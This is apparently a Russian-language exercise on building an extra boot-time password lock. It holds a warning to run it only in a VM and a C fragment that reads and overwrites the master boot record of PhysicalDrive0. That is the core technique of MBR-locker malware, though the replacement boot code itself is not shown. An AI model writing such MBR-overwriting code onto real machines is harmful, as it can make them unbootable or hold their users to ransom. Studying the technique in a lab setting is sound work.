

Реализовать дополнительный уровень аутентификации в системе

```
Enter Password For Unlock Your Computer: _
```

Внимание! Выполнять только на VM!  
Требуются права администратора

```
HANDLE f = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
if (f == INVALID_HANDLE_VALUE)
    printf("INVALID_HANDLE_VALUE (1)\n");
ok = ReadFile(f, mbr, MB_BUF_SIZE, &rd, NULL);
CloseHandle(f);

f = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
if (f == INVALID_HANDLE_VALUE)
    printf("INVALID_HANDLE_VALUE (3)\n");
ok = WriteFile(f, newMbr, MB_BUF_SIZE, &rd, NULL);
if (!ok)
    printf("Error Write date (4)\n");
```